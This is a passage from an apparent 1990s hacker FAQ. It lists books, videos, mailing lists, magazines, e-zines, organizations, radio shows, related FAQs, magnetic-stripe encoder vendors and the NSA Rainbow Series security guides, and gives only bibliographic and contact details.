  Author: N. Derek Arnold
  Publisher: McGraw Hill
  Copyright Date: 1993
  ISBN: 0-07-002560-6

UNIX System Security: A Guide for Users and Systems Administrators
  Author: David A. Curry
  Publisher: Addison-Wesley
  Copyright Date: 1992
  ISBN: 0-201-56327-4

UNIX System Security
  Author: Patrick H. Wood and Stephen G. Kochan
  Publisher: Hayden Books
  Copyright Date: 1985
  ISBN: 0-672-48494-3

UNIX Security for the Organization
  Author: Richard Bryant
  Publisher: Sams
  Copyright Date: 1994
  ISBN: 0-672-30571-2

Building Internet Firewalls
  Author: D. Brent Chapman and Elizabeth D. Zwicky
  Publisher: O'Reilly and Associates, Inc.
  Copyright Date: 1995
  ISBN: 1-56592-124-0

UNIX System Security Essentials
  Author: Christopher Braun
  Publisher: Addison Wesley
  Copyright Date: 1995
  ISBN: 0-201-42775-3

Internet Firewalls and Network Security
  Author: Karanjit S. Siyan and Chris Hare
  Publisher: New Riders Publishing
  Copyright Date: 1995
  ISBN: 1-56205-437-6

Network Security
~~~~~~~~~~~~~~~~
Complete Lan Security and Control
  Author: Peter Davis
  Publisher: Windcrest / McGraw Hill
  Copyright Date: 1994
  ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
  Author: Steven Shaffer and Alan Simon
  Publisher: AP Professional
  Copyright Date: 1994
  ISBN: 0-12-638010-4

Network Security: How to Plan For It and How to Achieve It
  Author: Richard M. Baker
  Publisher: McGraw-Hill, Inc.
  Copyright Date:
  ISBN: 0-07-005141-0

Network Security
  Author: Steven L. Shaffer and Alan R. Simon
  Publisher: Academic Press
  Copyright Date: 1994
  ISBN: 0-12-638010-4

Network Security: Private Communications in a Public World
  Author: Charlie Kaufman, Radia Perlman and Mike Speciner
  Publisher: Prentice Hall
  Copyright Date: 1995
  ISBN: 0-13-061466-1

Network and Internetwork Security: Principles and Practice
  Author: William Stallings
  Publisher: Prentice Hall
  Copyright Date: 1995
  ISBN: 0-02-415483-0

Implementing Internet Security
  Author: William Stallings
  Publisher: New Rider Publishing
  Copyright Date: 1995
  ISBN: 1-56205-471-6

Actually Useful Internet Security Techniques
  Author: Larry J. Hughes, Jr.
  Publisher: New Riders Publishing
  Copyright Date: 1995
  ISBN: 1-56205-508-9

Cryptology
~~~~~~~~~~~~
Applied Cryptography: Protocols, Algorithms, and Source Code in C
  Author: Bruce Schneier
  Publisher: John Wiley & Sons
  Copyright Date: 1994
  ISBN: 0-471-59756-2
        Bruce Schneier's book replaces all other texts on
        cryptography.  If you are interested in cryptography, this is
        a must read.  This may be the first and last book on
        cryptography you may ever need to buy.

Cryptography and Data Security
  Author: Dorothy Denning
  Publisher: Addison-Wesley Publishing Co.
  Copyright Date: 1982
  ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users
  Author: William Stallings
  Publisher: Prentice-Hall
  Copyright Date: 1994
  ISBN: 0-13-185596-4

Codebreakers
  Author: Kahn
  Publisher: Simon and Schuster
  Copyright Date:
  ISBN:0-02-560460-0

Codebreakers: The Inside Story of Bletchley Park
  Author: Francis Harry Hinsley and Alan Stripp
  Publisher: Oxford University Press,
  Copyright Date: 1993
  ISBN:0-19-285304-X

Cryptanalysis, a study of ciphers and their solution
  Author: Gaines, Helen Fouche
  Publisher: Dover Publications
  Copyright Date: 1956
  ISBN:

Computer Privacy Handbook
  Author: Andre' Bacard
  Publisher: Peachpit Press
  Copyright Date: 1995
  ISBN: 1-56609-171-3

E-Mail Security with PGP and PEM
  Author: Bruce Schneier
  Publisher: John Wiley & Sons
  Copyright Date: 1995
  ISBN: 0-471-05318-X

GP: Pretty Good Privacy
  Author: Simson Garfinkel
  Publisher: O'Reilly & Associates, Inc.
  Copyright Date: 1995
  ISBN: 1-56592-098-8

Programmed Threats
~~~~~~~~~~~~~~~~~~
The Little Black Book of Computer Viruses
  Author: Mark Ludwig
  Publisher: American Eagle Publications
  Copyright Date: 1990
  ISBN: 0-929408-02-0

The Giant Black Book of Computer Viruses
  Author: Mark Ludwig
  Publisher: American Eagle Publications
  Copyright Date: 1995
  ISBN:

Computer Viruses, Artificial Life and Evolution
  Author: Mark Ludwig
  Publisher: American Eagle Publications
  Copyright Date: 1993
  ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
        Threats to Your System
  Author: John McAfee and Colin Haynes
  Publisher: St. Martin's Press
  Copyright Date: 1989
  ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground
  Author: George Smith
  Publisher: American Eagle Publications
  Copyright Date: 1994
  ISBN: 0-929408-09-8

A Short Course on Computer Viruses
  Author: Dr. Fred Cohen
  Publisher: John Wiley & Sons
  Copyright Date: 1994
  ISBN: 0-471-00769-2

Robert Slade's Guide to Computer Viruses
  Author: Robert Slade
  Publisher: Springer-Verlag
  Copyright Date: 1994
  ISBN: 0-387-94311-0 / 3-540-94311-0

Telephony
~~~~~~~~~
Engineering and Operations in the Bell System
  Author: R.F. Rey
  Publisher: Bell Telephont Laboratories
  Copyright Date: 1983
  ISBN: 0-932764-04-5
        Although hopelessly out of date, this book remains *THE* book
        on telephony.  This book is 100% Bell, and is loved by phreaks
        the world over.

Telephony: Today and Tomorrow
  Author: Dimitris N. Chorafas
  Publisher: Prentice-Hall
  Copyright Date: 1984
  ISBN: 0-13-902700-9

The Telecommunications Fact Book and Illustrated Dictionary
  Author: Ahmed S. Khan
  Publisher: Delmar Publishers, Inc.
  Copyright Date: 1992
  ISBN: 0-8273-4615-8
        I find this dictionary to be an excellent reference book on
        telephony, and I recommend it to anyone with serious
        intentions in the field.

Tandy/Radio Shack Cellular Hardware
  Author: Judas Gerard and Damien Thorn
  Publisher: Phoenix Rising Communications
  Copyright Date: 1994
  ISBN:

The Phone Book
  Author: Carl Oppendahl
  Publisher: Consumer Reports
  Copyright Date:
  ISBN: 0-89043-364-x
        Listing of every cellular ID in the us, plus roaming ports,
        and info numbers for each carrier.

Principles of Caller I.D.
  Author:
  Publisher: International MicroPower Corp.
  Copyright Date:
  ISBN:

Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Hacker Crackdown: Law and Disorder on the Electronic Frontier
  Author: Bruce Sterling
  Publisher: Bantam Books
  Copyright Date: 1982
  ISBN: 0-553-56370-X
        Bruce Sterling has released this book FREE to the net.
        The book is much easier to read in print form, and the
        paperback is only $5.99.  Either way you read it, you will be
        glad you did.  Mr. Sterling is an excellent science fiction
        author and has brought his talent with words to bear on the
        hacking culture.  A very enjoyable reading experience.

Cyberpunk
  Author: Katie Hafner and John Markoff
  Publisher: Simon and Schuster
  Copyright Date: 1991
  ISBN: 0-671-77879-X

The Cuckoo's Egg
  Author: Cliff Stoll
  Publisher: Simon and Schuster
  Copyright Date: 1989
  ISBN: 0-671-72688-9

Hackers: Heroes of the Computer Revolution
  Author: Steven Levy
  Publisher: Doubleday
  Copyright Date: 1984
  ISBN: 0-440-13495-6

Unclassified
~~~~~~~~~~~~
The Hacker's Handbook
  Author: Hugo Cornwall
  Publisher: E. Arthur Brown Company
  Copyright Date:
  ISBN: 0-912579-06-4

An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
  Author: Doug Richardson
  Publisher: Salamander Press
  Copyright Date:
  ISBN: 0-668-06497-8


10. What are some videos of interest to hackers?

'Unauthorized Access' by Annaliza Savage
$25 on VH S format in 38-min
Savage Productions
1803 Mission St., #406
Santa Cruz, CA 95060

Hacker's '95 - a Phon-E & R.F. Burns Production
See the video Emmanuel Goldstein thought would have the Feds knocking at his 
door.  Coverage of Summercon'95, Defcon III, The big Y fiasco at Summercon PMF

(narc), interviews with Emmanuel Goldstein & Erik BloodAxe, the trip to Area
51 and interview with Psyhospy, the Secret Service briefing on Operation Cyber

Snare, talks on Crypto, HERF, the Feds, etc.  All information is presented for

educational purposes only.  Not for sale to government or law enforcement 
organizations.  Running time aproximately 90 minutes.
$25.00   NTSC VHS
$35.00   PAL/Secam VHS
Custom Video Productions
(908)842-6378
videocvp@ix.netcom.com


11. What are some mailing lists of interest to hackers?

Academic Firewalls
Registration Address: Send a message to majordomo@greatcircle.com
                        containing the line
                        "subscribe firewalls user@host"
The Alert
Registration Address: Send a message to request-alert@iss.net
                        containing the line "subscribe alert"

Bugtraq
Reflector Address:    bugtraq@fc.net
Registration Address: bugtraq-request@fc.net

Cert Tools
Reflector Address:    cert-tools@cert.org
Registration Address: cert-tools-request@cert.org

Computers and Society
Reflector Address:    Comp-Soc@limbo.intuitive.com
Registration Address: taylor@limbo.intuitive.com

Coordinated Feasibility Effort to Unravel State Data
Reflector Address:    ldc-sw@cpsr.org
Registration Address:

CPSR Announcement List
Reflector Address:    cpsr-announce@cpsr.org
Registration Address:

CPSR - Intellectual Property
Reflector Address:    cpsr-int-prop@cpsr.org
Registration Address:

CPSR - Internet Library
Reflector Address:    cpsr-library@cpsr.org
Registration Address:

Cypherpunks
Registration Address: Send a message to majordomo@toad.com
                       containing the line "subscribe cypherpunks"

DefCon Announcement List
Registration Address: Send a message to majordomo@fc.net containing
                       the line "subscribe dc-announce"

DefCon Chat List
Registration Address: Send a message to majordomo@fc.net containing
                       the line "subscribe dc-stuff"

Discount Long Distance Digest
Registration Address: Send a message to: dld-request@webcom.com
                       containing the line "subscribe"

Electronic Payment
Registration Address: e-payment@cc.bellcore.com

IDS (Intruder Detection Systems)
Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au
                       containing the line "subscribe ids"

Information Warfare
Registration Address: E-mail iw@all.net with a request to be added.

Linux-Alert
Registration Address: majordomo@linux.nrao.edu

Linux-Security
Registration Address: majordomo@linux.nrao.edu

Macintosh Security
Reflector Address:    mac-security@eclectic.com
Registration Address: mac-security-request@eclectic.com

NeXT Managers
Registration Address: next-managers-request@stolaf.edu

PGP3 announcement list
Registration Address: pgp-announce-request@lsd.com
                        Subject: Your Name 
                        Body: *ignored*

Phiber-Scream
Registration Address: Send a message to listserv@netcom.com
                       containing the line
                       "subscribe phiber-scream user@host"

phruwt-l (Macintosh H/P)
Registration Address: Send a message to filbert@netcom.com
                       with the subject "phruwt-l"

rfc931-users
Reflector Address:    rfc931-users@kramden.acf.nyu.edu
Registration Address: brnstnd@nyu.edu

RSA Users
Reflector Address:    rsaref-users@rsa.com
Registration Address: rsaref-users-request@rsa.com

WWW Security
Registration Address: www-security@ns2.rutgers.edu


12. What are some print magazines of interest to hackers?

2600 - The Hacker Quarterly
~~~~~~~~~~~~~~~~~~~~~~~~~~~
E-mail addresses: info@2600.com       to get info on 2600
                  index@2600.com      to get a copy of our index
                  meetings@2600.com   for info on starting your
                                      own meeting
                  subs@2600.com       for subscription problems
                  letters@2600.com    to send us a letter
                  articles@2600.com   to send us an article
                  2600@2600.com       to send us a general message

Subscription Address: 2600 Subscription Dept
                      PO Box 752
                      Middle Island, NY  11953-0752

Letters and article submission address: 2600 Editorial Dept
                                        PO Box 99
                                        Middle Island, NY  11953-0099

Phone Number: (516)751-2600
Fax Number: (516)474-2677
Voice BBS: (516)473-2626

Subscriptions: United States: $21/yr individual, $50 corporate.
               Overseas: $30/yr individual, $65 corporate.


Gray Areas
~~~~~~~~~~
Gray Areas examines gray areas of law and morality and subject matter which is

illegal, immoral and/or controversial. Gray Areas explores why hackers hack
and puts hacking into a sociological framework of deviant behavior.

E-Mail Address: grayarea@well.sf.ca.us
E-Mail Address: grayarea@netaxs.com

U.S. Mail Address: Gray Areas
                   PO Box 808
                   Broomall, PA 19008

Subscriptions: $26.00 4 issues first class
               $34.00 4 issues foreign (shipped air mail)

Privacy Newsletter
~~~~~~~~~~~~~~~~~~
Privacy Newsletter is a monthly newsletter devoted to showing
consumers how to get privacy and keep it.

E-Mail Address: privacy@interramp.com

Subscription Address: Privacy Newsletter
                      P.O. Box 8206
                      Philadelphia, PA 19101-8206

Subscriptions: $99/yr (US)  $149/yr (Overseas)

Wired
~~~~~
Subscription Address: subscriptions@wired.com
                  or: Wired
                      PO Box 191826
                      San Francisco, CA 94119-9866

Letters and article submission address: guidelines@wired.com
                                    or: Wired
                                        544 Second Street
                                        San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)

Nuts & Volts
~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664

Cybertek: The Cyberpunk Technical Journal
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
P.O. Box 64
Brewster, NY 10509

Frequency: Bimonthly

Domestic Subscription Rate: $15/year (6 issues)

PrivateLine
~~~~~~~~~~~
5150 Fair Oaks Blvd. #101-348
Carmichael, CA 95608 USA

E-Mail: privateline@delphi.com

Subscriptions: $24 a year for six issues

Text of back issues are at the etext archive at Michigan.  Gopher over or ftp 
to: etext.archive.umich.edu/pub/Zines/PrivateLine


13. What are some e-zines of interest to hackers?

CoTNo: Communications of The New Order   ftp.etext.org /pub/Zines/CoTNo

Empire Times                             ftp.etext.org
                                                    /pub/Zines/Emptimes

FEH                                      ftp.fc.net     /pub/defcon/FEH

The Infinity Concept                     infonexus.com
                                   /pub/Philes/Zines/TheInfinityConcept

Phrack                                   ftp.fc.net         /pub/phrack


14. What are some organizations of interest to hackers?

Computer Professionals for Social Responsibility (CPSR)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CPSR empowers computer professionals and computer users to advocate for the 
responsible use of information technology and empowers all who use computer 
technology to participate in the public debate.   As technical experts, CPSR 
members provide the public and policy makers with realistic assessments of the

power, promise, and limitations of computer technology.  As an organization of

concerned citizens, CPSR directs public attention to critical choices 
concerning the applications of computing and how those choices affect society.

By matching unimpeachable technical information with policy development savvy,

CPSR uses minimum dollars to have maximum impact and encourages broad public 
participation in the shaping of technology policy.

Every project we undertake is based on five principles:

*  We foster and support public discussion of and public responsibility
   for decisions involving the use of computers in systems critical to
   society.
*  We work to dispel popular myths about the infallibility of
   technological systems.
*  We challenge the assumption that technology alone can solve political
   and social problems.
*  We critically examine social and technical issues within the computer
   profession, nationally and internationally.
*  We encourage the use of computer technology to improve the quality of
   life.

CPSR Membership Categories
  75  REGULAR MEMBER
  50  Basic member
200  Supporting member
500  Sponsoring member
1000  Lifetime member
  20  Student/low income member
  50  Foreign subscriber
  50  Library/institutional subscriber

CPSR National Office
P.O. Box 717
Palo Alto, CA  94301
415-322-3778
415-322-3798 (FAX)
E-mail: cpsr@csli.stanford.edu

Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of 
policies and activities that will advance freedom and openness in 
computer-based communications. It is a member-supported, nonprofit group that 
grew from the conviction that a new public interest organization was needed in

the information age; that this organization would enhance and protect the 
democratic potential of new computer communications technology. From the 
beginning, the EFF determined to become an organization that would combine 
technical, legal, and public policy expertise, and would apply these skills to

the myriad issues and concerns that arise whenever a new communications medium

is born.

Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.
1001 G Street, NW
Suite 950 East
Washington, D.C. 20001
(202)544 9237
(202)547 5481 FAX
Internet: eff@eff.org

Free Software Foundation (FSF) and GNU
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Free Software Foundation is dedicated to eliminating restrictions on 
people's right to use, copy, modify, and redistribute computer programs. We 
promote the development and use of free software in all areas using computers.

Specifically, we are putting together a complete, integrated software system 
named "GNU" ("GNU's Not UNIX", pronounced "guh-new") that will be upwardly 
compatible with UNIX.  Most parts of this system are already being used and 
distributed.

The word "free" in our name refers to freedom, not price.  You may or may not 
pay money to get GNU software, but regardless you have two specific freedoms 
once you get it: first, the freedom to copy a program and give it away to your

friends and co-workers; and second, the freedom to change a program as you 
wish, by having full access to source code. You can study the source and learn

how such programs are written.  You may then be able to port it, improve it, 
and share your changes with others.  If you redistribute GNU software you may 
charge a distribution fee or give it away, so long as you include the source 
code and the GPL (GNU General Public License).

Free Software Foundation, Inc.       Telephone: +1-617-876-3296
673 Massachusetts Avenue             Fax: +1-617-492-9057
Cambridge, MA 02139-3309 USA         Fax (in Japan): 0031-13-2473 (KDD)
Electronic mail: gnu@prep.ai.mit.edu               0066-3382-0158 (IDC)

GNU is to be a complete integrated computational environment: everything you 
need to work with a computer, either as a programmer or as a person in an 
office or home.  The core is an operating system, which consists of a central 
program called a kernel that runs the other programs on the computer, and a 
large number of ancillary programs for handling files, etc.  The Free Software

Foundation is developing an advanced kernel called the Hurd.

A complete system has tools for programmers, such as compilers and debuggers.

It also has editors, sketchpads, calendars, calculators, spreadsheets, 
databases, electronic mail readers, and Internet navigators.  The FSF already 
distributes most of the programs used in an operating system, all the tools 
regularly used by programmers, and much more.

The League for Programming Freedom (LPF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The League for Programming Freedom is an organization of people who oppose the

attempt to monopolize common user interfaces through "look and feel" copyright

lawsuits.  Some of us are programmers, who worry that such monopolies will 
obstruct our work.  Some of us are users, who want new computer systems to be 
compatible with the interfaces we know.  Some are founders of hardware or 
software companies, such as Richard P. Gabriel. Some of us are professors or 
researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr.,
Robert S. Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government-enforced 
monopolies broader in scope than ever before.  Such a system of user-interface

copyright would impose gratuitous incompatibility, reduce competition, and 
stifle innovation.

We in the League hope to prevent these problems by preventing user-interface 
copyright.  The League is NOT opposed to copyright law as it was understood 
until 1986 -- copyright on particular programs.  Our aim is to stop changes in

the copyright system which would take away programmers' traditional freedom to

write new programs compatible with existing programs and practices.

Annual dues for individual members are $42 for employed professionals, $10.50 
for students, and $21 for others.  We appreciate activists, but members who 
cannot contribute their time are also welcome.

To contact the League, phone (617) 243-4091, send Internet mail to the
address league@prep.ai.mit.edu, or write to:

League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA

SotMesc
~~~~~~~
Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion

of the computing society.  By promoting computer education, liberties and 
efficiency, we believe we can secure freedoms for all computer users while 
retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund,

and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but mostly
by selling hacking, cracking, phreaking, electronics, internet, and virus 
information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

SotMESC
P.O. Box 573
Long Beach, MS  39560

Computer Emergency Response Team (CERT)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CERT is the Computer Emergency Response Team that was formed by the Defense 
Advanced Research Projects Agency (DARPA) in November 1988 in response to the 
needs exhibited during the Internet worm incident.  The CERT charter is to
work with the Internet community to facilitate its response to computer
security events involving Internet hosts, to take proactive steps to raise the

community's awareness of computer security issues, and to conduct research 
targeted at improving the security of existing systems.

CERT products and services include 24-hour technical assistance for responding

to computer security incidents, product vulnerability assistance, technical 
documents, and seminars.  In addition, the team maintains a number of mailing 
lists (including one for CERT advisories) and provides an anonymous FTP
server:

cert.org (192.88.209.5), where security-related documents, past CERT 
advisories, and tools are archived.

CERT contact information:

U.S. mail address
  CERT Coordination Center
  Software Engineering Institute
  Carnegie Mellon University
  Pittsburgh, PA 15213-3890
  U.S.A.

Internet E-mail address
  cert@cert.org

Telephone number
  (412)268-7090 (24-hour hotline)
  CERT Coordination Center personnel answer
  7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
  emergencies during other hours.

FAX number
  (412)268-6989


15. What are some radio programs of interest to hackers?

Off The Hook          New York      99.5 FM                       Tue  8pm EST

Off The Hook          Real Audio    www.2600.com                  Tue  8pm EST


Full Disclosure Live  Short Wave    WWCR 5065 khz                 Sun  8pm EST

Full Disclosure Live  Oil City, PA  WOYL AM-1340                  Sun  8pm EST

Full Disclosure Live  Satellite     Telstar 302 (T2), Ch 21, 5.8  Sun  8pm EST


16. What are other FAQ's of interest to hackers?

Frequently Asked Questions "Hacking Novell Netware"
Author: Simple Nomad 
ftp: jumper.mcc.ac.uk    /pub/security/netware/faq.zip
ftp: ftp.fastlane.net    /pub/nomad/nw/faq.zip
ftp: ftp.best.com        /pub/almcepud/hacks/faq.zip
http://resudox.net/bio/mainpage.html
http://www.hookup.net/~apayne/nwhack.html

The PGP Attack FAQ
Author: Route [daemon9@netcom.com / route@infonexus.com]
ftp: infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz

Mac Hack FAQ: Defeating Security
Author: AX1P (an149689@anon.penet.fi)

Frequently Asked Questions About Red Boxing
Author: Mr. Sandman (an132432@anon.penet.fi)

VMS FAQ (Frequently Ask Questions)
Author: The Beaver (beaver@upperdck.blkbox.com)

Anonymous FTP FAQ
Author: Christopher Klaus  of Internet Security Systems, Inc.
ftp: ftp.iss.net    /pub/faq/anonftp

Compromise FAQ: What if your Machines are Compromised by an Intruder
Author: Christopher Klaus  of Internet Security Systems, Inc.
ftp: ftp.iss.net    /pub/faq/compromise

Security Patches FAQ
Author: Christopher Klaus  of Internet Security Systems, Inc.
ftp: ftp.iss.net    /pub/faq/patch

Sniffer FAQ
Author: Christopher Klaus  of Internet Security Systems, Inc.
ftp: ftp.iss.net    /pub/faq/sniff

Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches
Author: Christopher Klaus  of Internet Security Systems, Inc.
ftp: ftp.iss.net    /pub/faq/vendor

Cryptography FAQ
Author: The Crypt Cabal
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

Firewalls FAQ
Author: Marcus J. Ranum (mjr@ss1.lightspeed.net)
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/

Buying a Used Scanner Radio
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

How to Find Scanner Frequencies
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Introduction to Scanning
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Low Power Broadcasting FAQ
Author: Rick Harrison.
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/

RSA Cryptography Today FAQ
Author: Paul Fahn
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

VIRUS-L comp.virus Frequently Asked Questions (FAQ)
Author: Kenneth R. van Wyk 
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.virus/

Where to get the latest PGP (Pretty Good Privacy) FAQ
Author: mpj@csn.net (Michael Johnson)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/

alt.locksmithing answers to Frequently Asked Questions (FAQ)
Author: spike@indra.com (Joe Ilacqua)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/

comp.os.netware.security FAQ
Author: Fauzan Mirza 
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/

rec.pyrotechnics FAQ
Author: zoz@cs.adelaide.edu.au (Hans Josef Wagemueller)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/


17. Where can I purchase a magnetic stripe encoder/decoder?

CPU Advance
PO Box 2434
Harwood Station
Littleton, MA  01460
(508)624-4819 (Fax)

Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL  60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)

Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)

Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)

Alltronics
2300 Zanker Road
San Jose CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067

Atalla Corp
San Jose, CA
(408) 435-8850


18. What are the rainbow books and how can I get them?

Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria

Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline

Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific
Environments

Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements.  Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.

Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems

Bright Blue Book
NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors

Neon Orange Book
NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted
Systems

Teal Green Book
NCSC-TG-004
Glossary of Computer Security Terms

Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria

Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book
NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book
NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria

Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book
NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation

Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document

Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems

Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management

Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals

Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted
Systems

Light Blue Book
NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems

Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire

Gray Book
NCSC-TG-020A
Trusted UNIX Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the UNIX System

Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria

Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book
NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems

Purple Book
NCSC-TG-024  (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements

Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement
Initiators

Purple Book
NCSC-TG-024  (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial

+Purple Book
+NCSC-TG-024  (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors

Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information
Systems

Hot Peach Book
NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems

Violet Book
NCSC-TG-028
Assessing Controlled Access Protection

Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation

Light Pink Book
NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79-91
*Integrity in Automated Information Systems

*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion

NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline

****
You can get your own free copy of any or all of the books by writing or 
calling:

       INFOSEC Awareness Division
       ATTN: X711/IAOC
       Fort George G. Meade, MD  20755-6000

       Barbara Keller
       (410) 766-8729

If you ask to be put on the mailing list, you'll get a copy of each new book
as it comes out (typically a couple a year).


[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not
be available]


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by
The Cyberpunk Project